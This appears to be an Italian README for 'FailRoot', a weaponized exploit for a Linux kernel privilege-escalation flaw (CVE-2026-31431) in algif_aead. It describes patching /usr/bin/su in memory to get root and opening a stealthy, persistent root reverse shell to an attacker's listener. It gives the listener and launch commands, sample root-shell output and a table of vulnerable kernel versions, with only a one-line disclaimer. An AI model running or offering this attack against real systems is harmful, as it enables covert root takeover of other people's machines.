
Arma Python armato per CVE-2026-31431, che combina l'escalation dei privilegi del kernel Linux in una reverse shell root daemonizzata con PTY completo, applicando una patch in memoria a /usr/bin/su.
█▀▀ ▄▀█ █ █ █▀█ █▀█ █▀█ ▀█▀
█▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░
CVE-2026-31431 • Linux Kernel LPE → Root Reverse Shell
FailRoot è un exploit armato per CVE-2026-31431 — una scrittura fuori dai limiti nel sottosistema crypto: algif_aead del kernel Linux.
Combina un'escalation dei privilegi con una reverse shell root daemonizzata con PTY completo:
AF_ALG + splice() → scrittura di 4 byte nella page cache → patch di /usr/bin/su → root
L'intero exploit sta in un unico file. Nessuna compilazione. Nessuna dipendenza esterna. Nessuna traccia su disco — il binario su viene patchato solo in memoria.
algif_aead + authencesn tramite molteplici strategie di fallback/usr/bin/supty.spawn("/usr/bin/su") → TTY root completamente interattivoLa reverse shell sopravvive alla chiusura del terminale (SIGHUP ignorato), non mostra alcun output sul target e si riconnette con tentativi per un massimo di 3 minuti.
# Attaccante — avvia il listener:
nc -lvnp 4444
# Target — esegui l'exploit (non apparirà nulla, si daemonizza istantaneamente):
python3 exploit.py <IP_ATTACCANTE> 4444
attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234
root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)
Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash
os.splice())/usr/bin/su (leggibile da tutti su tutte le distribuzioni)algif_aead e authencesn disponibilisudo richiestoSolo per ricerca di sicurezza autorizzata e scopi educativi. L'uso improprio è illegale.
| Da | A (escluso) |
|---|
| 4.14 | 5.10.254 |
| 5.11 | 5.15.204 |
| 5.16 | 6.1.170 |
| 6.2 | 6.6.137 |
| 6.7 | 6.12.85 |
| 6.13 | 6.18.22 |
| 6.19 | 6.19.12 |
| 7.0 | rc1–rc6 |